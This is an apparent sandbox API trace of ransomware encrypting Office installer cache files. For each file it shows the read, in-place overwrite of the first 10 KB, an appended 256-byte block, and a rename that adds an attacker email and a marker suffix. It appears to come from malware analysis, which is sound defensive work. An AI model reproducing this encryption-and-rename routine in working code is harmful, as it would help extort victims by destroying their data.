[0053.984] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\PidGenX.dll" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\pidgenx.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c
[0053.984] GetProcessHeap () returned 0x2e0000
[0053.984] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x2800) returned 0x347780
[0053.984] ReadFile (in: hFile=0x10c, lpBuffer=0x347780, nNumberOfBytesToRead=0x2800, lpNumberOfBytesRead=0xecf110, lpOverlapped=0x0 | out: lpBuffer=0x347780*, lpNumberOfBytesRead=0xecf110*=0x2800, lpOverlapped=0x0) returned 1
[0054.009] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
[0054.009] WriteFile (in: hFile=0x10c, lpBuffer=0x347780*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0xecf110, lpOverlapped=0x0 | out: lpBuffer=0x347780*, lpNumberOfBytesWritten=0xecf110*=0x2800, lpOverlapped=0x0) returned 1
[0054.010] GetProcessHeap () returned 0x2e0000
[0054.010] HeapFree (in: hHeap=0x2e0000, dwFlags=0x8, lpMem=0x347780 | out: hHeap=0x2e0000) returned 1
[0054.010] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
[0054.010] WriteFile (in: hFile=0x10c, lpBuffer=0x1368ef0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0xecf110, lpOverlapped=0x0 | out: lpBuffer=0x1368ef0*, lpNumberOfBytesWritten=0xecf110*=0x100, lpOverlapped=0x0) returned 1
[0054.387] CloseHandle (hObject=0x10c) returned 1
[0054.387] GetProcessHeap () returned 0x2e0000
[0054.387] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0xfffe) returned 0x347780
[0054.387] wnsprintfW (in: pszDest=0x347780, cchDest=32767, pszFmt="%s_%6S_{%S}%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\PidGenX.dll_4paNrg_{fiasco911@protonmail.com}SDfghjkl") returned 120
[0054.387] MoveFileW (lpExistingFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\PidGenX.dll" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\pidgenx.dll"), lpNewFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\PidGenX.dll_4paNrg_{fiasco911@protonmail.com}SDfghjkl" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\pidgenx.dll_4panrg_{fiasco911@protonmail.com}sdfghjkl")) returned 1
[0054.388] GetProcessHeap () returned 0x2e0000
[0054.388] HeapFree (in: hHeap=0x2e0000, dwFlags=0x8, lpMem=0x347780 | out: hHeap=0x2e0000) returned 1
[0054.388] FindNextFileW (in: hFindFile=0x2fef40, lpFindFileData=0xecf134 | out: lpFindFileData=0xecf134*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xe06a9500, ftCreationTime.dwHighDateTime=0x1cac7e5, ftLastAccessTime.dwLowDateTime=0xe06a9500, ftLastAccessTime.dwHighDateTime=0x1cac7e5, ftLastWriteTime.dwLowDateTime=0x17c42c30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0xaec3a, dwReserved0=0x0, dwReserved1=0x0, cFileName="pkeyconfig-office.xrm-ms", cAlternateFileName="PKEYCO~1.XRM")) returned 1
[0054.388] wnsprintfW (in: pszDest=0x336770, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 91
[0054.388] StrStrIW (lpFirst="pkeyconfig-office.xrm-ms", lpSrch="SDfghjkl") returned 0x0
[0054.388] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\pkeyconfig-office.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c
[0054.388] GetProcessHeap () returned 0x2e0000
[0054.388] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x2800) returned 0x347780
[0054.388] ReadFile (in: hFile=0x10c, lpBuffer=0x347780, nNumberOfBytesToRead=0x2800, lpNumberOfBytesRead=0xecf110, lpOverlapped=0x0 | out: lpBuffer=0x347780*, lpNumberOfBytesRead=0xecf110*=0x2800, lpOverlapped=0x0) returned 1
[0054.391] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
[0054.391] WriteFile (in: hFile=0x10c, lpBuffer=0x347780*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0xecf110, lpOverlapped=0x0 | out: lpBuffer=0x347780*, lpNumberOfBytesWritten=0xecf110*=0x2800, lpOverlapped=0x0) returned 1
[0054.391] GetProcessHeap () returned 0x2e0000
[0054.391] HeapFree (in: hHeap=0x2e0000, dwFlags=0x8, lpMem=0x347780 | out: hHeap=0x2e0000) returned 1
[0054.391] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
[0054.391] WriteFile (in: hFile=0x10c, lpBuffer=0x1368ef0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0xecf110, lpOverlapped=0x0 | out: lpBuffer=0x1368ef0*, lpNumberOfBytesWritten=0xecf110*=0x100, lpOverlapped=0x0) returned 1
[0054.393] CloseHandle (hObject=0x10c) returned 1
[0054.394] GetProcessHeap () returned 0x2e0000
[0054.394] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0xfffe) returned 0x347780
[0054.394] wnsprintfW (in: pszDest=0x347780, cchDest=32767, pszFmt="%s_%6S_{%S}%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms_4paNrg_{fiasco911@protonmail.com}SDfghjkl") returned 133
[0054.394] MoveFileW (lpExistingFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\pkeyconfig-office.xrm-ms"), lpNewFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms_4paNrg_{fiasco911@protonmail.com}SDfghjkl" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\pkeyconfig-office.xrm-ms_4panrg_{fiasco911@protonmail.com}sdfghjkl")) returned 1
[0054.394] GetProcessHeap () returned 0x2e0000
[0054.394] HeapFree (in: hHeap=0x2e0000, dwFlags=0x8, lpMem=0x347780 | out: hHeap=0x2e0000) returned 1
[0054.394] FindNextFileW (in: hFindFile=0x2fef40, lpFindFileData=0xecf134 | out: lpFindFileData=0xecf134*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbb2e2000, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbb2e2000, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0x170fe40, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x1a41c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProPlusrWW.msi", cAlternateFileName="PROPLU~1.MSI")) returned 1
[0054.394] wnsprintfW (in: pszDest=0x336770, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi") returned 81
[0054.394] StrStrIW (lpFirst="ProPlusrWW.msi", lpSrch="SDfghjkl") returned 0x0
[0054.394] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proplusrww.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c
[0054.397] GetProcessHeap () returned 0x2e0000
[0054.397] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x2800) returned 0x347780
[0054.397] ReadFile (in: hFile=0x10c, lpBuffer=0x347780, nNumberOfBytesToRead=0x2800, lpNumberOfBytesRead=0xecf110, lpOverlapped=0x0 | out: lpBuffer=0x347780*, lpNumberOfBytesRead=0xecf110*=0x2800, lpOverlapped=0x0) returned 1
[0054.399] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
[0054.400] WriteFile (in: hFile=0x10c, lpBuffer=0x347780*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0xecf110, lpOverlapped=0x0 | out: lpBuffer=0x347780*, lpNumberOfBytesWritten=0xecf110*=0x2800, lpOverlapped=0x0) returned 1
[0054.400] GetProcessHeap () returned 0x2e0000
[0054.400] HeapFree (in: hHeap=0x2e0000, dwFlags=0x8, lpMem=0x347780 | out: hHeap=0x2e0000) returned 1
[0054.400] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
[0054.400] WriteFile (in: hFile=0x10c, lpBuffer=0x1368ef0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0xecf110, lpOverlapped=0x0 | out: lpBuffer=0x1368ef0*, lpNumberOfBytesWritten=0xecf110*=0x100, lpOverlapped=0x0) returned 1
[0054.403] CloseHandle (hObject=0x10c) returned 1
[0054.403] GetProcessHeap () returned 0x2e0000
[0054.403] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0xfffe) returned 0x347780
[0054.403] wnsprintfW (in: pszDest=0x347780, cchDest=32767, pszFmt="%s_%6S_{%S}%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi_4paNrg_{fiasco911@protonmail.com}SDfghjkl") returned 123
[0054.403] MoveFileW (lpExistingFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proplusrww.msi"), lpNewFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi_4paNrg_{fiasco911@protonmail.com}SDfghjkl" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proplusrww.msi_4panrg_{fiasco911@protonmail.com}sdfghjkl")) returned 1
[0054.403] GetProcessHeap () returned 0x2e0000
[0054.403] HeapFree (in: hHeap=0x2e0000, dwFlags=0x8, lpMem=0x347780 | out: hHeap=0x2e0000) returned 1
[0054.404] FindNextFileW (in: hFindFile=0x2fef40, lpFindFileData=0xecf134 | out: lpFindFileData=0xecf134*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbd907a00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbd907a00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0x170fe40, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x41d4, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProPlusrWW.xml", cAlternateFileName="PROPLU~1.XML")) returned 1
[0054.404] wnsprintfW (in: pszDest=0x336770, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml") returned 81
[0054.404] StrStrIW (lpFirst="ProPlusrWW.xml", lpSrch="SDfghjkl") returned 0x0
[0054.404] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proplusrww.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c
[0054.404] GetProcessHeap () returned 0x2e0000
[0054.404] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x2800) returned 0x347780
[0054.404] ReadFile (in: hFile=0x10c, lpBuffer=0x347780, nNumberOfBytesToRead=0x2800, lpNumberOfBytesRead=0xecf110, lpOverlapped=0x0 | out: lpBuffer=0x347780*, lpNumberOfBytesRead=0xecf110*=0x2800, lpOverlapped=0x0) returned 1
[0054.406] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
[0054.406] WriteFile (in: hFile=0x10c, lpBuffer=0x347780*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0xecf110, lpOverlapped=0x0 | out: lpBuffer=0x347780*, lpNumberOfBytesWritten=0xecf110*=0x2800, lpOverlapped=0x0) returned 1
[0054.406] GetProcessHeap () returned 0x2e0000
[0054.406] HeapFree (in: hHeap=0x2e0000, dwFlags=0x8, lpMem=0x347780 | out: hHeap=0x2e0000) returned 1
[0054.406] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
[0054.406] WriteFile (in: hFile=0x10c, lpBuffer=0x1368ef0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0xecf110, lpOverlapped=0x0 | out: lpBuffer=0x1368ef0*, lpNumberOfBytesWritten=0xecf110*=0x100, lpOverlapped=0x0) returned 1
[0054.407] CloseHandle (hObject=0x10c) returned 1
[0054.407] GetProcessHeap () returned 0x2e0000
[0054.407] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0xfffe) returned 0x347780
[0054.407] wnsprintfW (in: pszDest=0x347780, cchDest=32767, pszFmt="%s_%6S_{%S}%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml_4paNrg_{fiasco911@protonmail.com}SDfghjkl") returned 123
[0054.407] MoveFileW (lpExistingFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proplusrww.xml"), lpNewFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml_4paNrg_{fiasco911@protonmail.com}SDfghjkl" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proplusrww.xml_4panrg_{fiasco911@protonmail.com}sdfghjkl")) returned 1
[0054.407] GetProcessHeap () returned 0x2e0000
[0054.407] HeapFree (in: hHeap=0x2e0000, dwFlags=0x8, lpMem=0x347780 | out: hHeap=0x2e0000) returned 1
[0054.407] FindNextFileW (in: hFindFile=0x2fef40, lpFindFileData=0xecf134 | out: lpFindFileData=0xecf134*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x262b2700, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x262b2700, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0x1ffd0c0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0xa97cbdb, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProPrWW.cab", cAlternateFileName="")) returned 1
[0054.407] wnsprintfW (in: pszDest=0x336770, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab") returned 78
[0054.407] StrStrIW (lpFirst="ProPrWW.cab", lpSrch="SDfghjkl") returned 0x0
[0054.407] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proprww.cab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c
[0054.408] GetProcessHeap () returned 0x2e0000
[0054.408] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x2800) returned 0x347780
[0054.408] ReadFile (in: hFile=0x10c, lpBuffer=0x347780, nNumberOfBytesToRead=0x2800, lpNumberOfBytesRead=0xecf110, lpOverlapped=0x0 | out: lpBuffer=0x347780*, lpNumberOfBytesRead=0xecf110*=0x2800, lpOverlapped=0x0) returned 1
[0054.414] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
[0054.414] WriteFile (in: hFile=0x10c, lpBuffer=0x347780*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0xecf110, lpOverlapped=0x0 | out: lpBuffer=0x347780*, lpNumberOfBytesWritten=0xecf110*=0x2800, lpOverlapped=0x0) returned 1
[0054.414] GetProcessHeap () returned 0x2e0000
[0054.414] HeapFree (in: hHeap=0x2e0000, dwFlags=0x8, lpMem=0x347780 | out: hHeap=0x2e0000) returned 1
[0054.414] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
[0054.414] WriteFile (in: hFile=0x10c, lpBuffer=0x1368ef0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0xecf110, lpOverlapped=0x0 | out: lpBuffer=0x1368ef0*, lpNumberOfBytesWritten=0xecf110*=0x100, lpOverlapped=0x0) returned 1
[0054.416] CloseHandle (hObject=0x10c) returned 1
[0054.417] GetProcessHeap () returned 0x2e0000
[0054.417] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0xfffe) returned 0x347780
[0054.417] wnsprintfW (in: pszDest=0x347780, cchDest=32767, pszFmt="%s_%6S_{%S}%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab_4paNrg_{fiasco911@protonmail.com}SDfghjkl") returned 120
[0054.417] MoveFileW (lpExistingFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proprww.cab"), lpNewFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab_4paNrg_{fiasco911@protonmail.com}SDfghjkl" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proprww.cab_4panrg_{fiasco911@protonmail.com}sdfghjkl")) returned 1
[0054.417] GetProcessHeap () returned 0x2e0000
[0054.417] HeapFree (in: hHeap=0x2e0000, dwFlags=0x8, lpMem=0x347780 | out: hHeap=0x2e0000) returned 1
[0054.417] FindNextFileW (in: hFindFile=0x2fef40, lpFindFileData=0xecf134 | out: lpFindFileData=0xecf134*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbf14900, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbf14900, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xc96ff40, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0xd49ee31, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProPrWW2.cab", cAlternateFileName="")) returned 1
[0054.417] wnsprintfW (in: pszDest=0x336770, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab") returned 79
[0054.417] StrStrIW (lpFirst="ProPrWW2.cab", lpSrch="SDfghjkl") returned 0x0
[0054.417] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proprww2.cab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c
[0054.418] GetProcessHeap () returned 0x2e0000
[0054.418] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x2800) returned 0x347780
[0054.418] ReadFile (in: hFile=0x10c, lpBuffer=0x347780, nNumberOfBytesToRead=0x2800, lpNumberOfBytesRead=0xecf110, lpOverlapped=0x0 | out: lpBuffer=0x347780*, lpNumberOfBytesRead=0xecf110*=0x2800, lpOverlapped=0x0) returned 1
[0054.423] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
[0054.423] WriteFile (in: hFile=0x10c, lpBuffer=0x347780*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0xecf110, lpOverlapped=0x0 | out: lpBuffer=0x347780*, lpNumberOfBytesWritten=0xecf110*=0x2800, lpOverlapped=0x0) returned 1
[0054.423] GetProcessHeap () returned 0x2e0000
[0054.423] HeapFree (in: hHeap=0x2e0000, dwFlags=0x8, lpMem=0x347780 | out: hHeap=0x2e0000) returned 1
[0054.423] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
[0054.423] WriteFile (in: hFile=0x10c, lpBuffer=0x1368ef0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0xecf110, lpOverlapped=0x0 | out: lpBuffer=0x1368ef0*, lpNumberOfBytesWritten=0xecf110*=0x100, lpOverlapped=0x0) returned 1
[0054.426] CloseHandle (hObject=0x10c) returned 1
[0054.426] GetProcessHeap () returned 0x2e0000
[0054.426] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0xfffe) returned 0x347780
[0054.426] wnsprintfW (in: pszDest=0x347780, cchDest=32767, pszFmt="%s_%6S_{%S}%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab_4paNrg_{fiasco911@protonmail.com}SDfghjkl") returned 121
[0054.426] MoveFileW (lpExistingFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proprww2.cab"), lpNewFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab_4paNrg_{fiasco911@protonmail.com}SDfghjkl" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proprww2.cab_4panrg_{fiasco911@protonmail.com}sdfghjkl")) returned 1
[0054.427] GetProcessHeap () returned 0x2e0000
[0054.427] HeapFree (in: hHeap=0x2e0000, dwFlags=0x8, lpMem=0x347780 | out: hHeap=0x2e0000) returned 1
[0054.427] FindNextFileW (in: hFindFile=0x2fef40, lpFindFileData=0xecf134 | out: lpFindFileData=0xecf134*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbec13c00, ftCreationTime.dwHighDateTime=0x1cac15b, ftLastAccessTime.dwLowDateTime=0xbec13c00, ftLastAccessTime.dwHighDateTime=0x1cac15b, ftLastWriteTime.dwLowDateTime=0x1682d290, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x150578, dwReserved0=0x0, dwReserved1=0x0, cFileName="setup.exe", cAlternateFileName="")) returned 1
[0054.427] wnsprintfW (in: pszDest=0x336770, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\setup.exe") returned 76
[0054.427] StrStrIW (lpFirst="setup.exe", lpSrch="SDfghjkl") returned 0x0
[0054.427] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\setup.exe" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\setup.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c
[0054.427] GetProcessHeap () returned 0x2e0000
[0054.427] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x2800) returned 0x347780
[0054.427] ReadFile (in: hFile=0x10c, lpBuffer=0x347780, nNumberOfBytesToRead=0x2800, lpNumberOfBytesRead=0xecf110, lpOverlapped=0x0 | out: lpBuffer=0x347780*, lpNumberOfBytesRead=0xecf110*=0x2800, lpOverlapped=0x0) returned 1
[0054.464] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
[0054.465] WriteFile (in: hFile=0x10c, lpBuffer=0x347780*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0xecf110, lpOverlapped=0x0 | out: lpBuffer=0x347780*, lpNumberOfBytesWritten=0xecf110*=0x2800, lpOverlapped=0x0) returned 1
[0054.465] GetProcessHeap () returned 0x2e0000
[0054.465] HeapFree (in: hHeap=0x2e0000, dwFlags=0x8, lpMem=0x347780 | out: hHeap=0x2e0000) returned 1
[0054.465] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
[0054.465] WriteFile (in: hFile=0x10c, lpBuffer=0x1368ef0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0xecf110, lpOverlapped=0x0 | out: lpBuffer=0x1368ef0*, lpNumberOfBytesWritten=0xecf110*=0x100, lpOverlapped=0x0) returned 1
[0054.533] CloseHandle (hObject=0x10c) returned 1
[0054.534] GetProcessHeap () returned 0x2e0000
[0054.534] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0xfffe) returned 0x347780
[0054.534] wnsprintfW (in: pszDest=0x347780, cchDest=32767, pszFmt="%s_%6S_{%S}%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\setup.exe_4paNrg_{fiasco911@protonmail.com}SDfghjkl") returned 118
[0054.534] MoveFileW (lpExistingFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\setup.exe" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\setup.exe"), lpNewFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\setup.exe_4paNrg_{fiasco911@protonmail.com}SDfghjkl" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\setup.exe_4panrg_{fiasco911@protonmail.com}sdfghjkl")) returned 1
[0054.534] GetProcessHeap () returned 0x2e0000
[0054.534] HeapFree (in: hHeap=0x2e0000, dwFlags=0x8, lpMem=0x347780 | out: hHeap=0x2e0000) returned 1
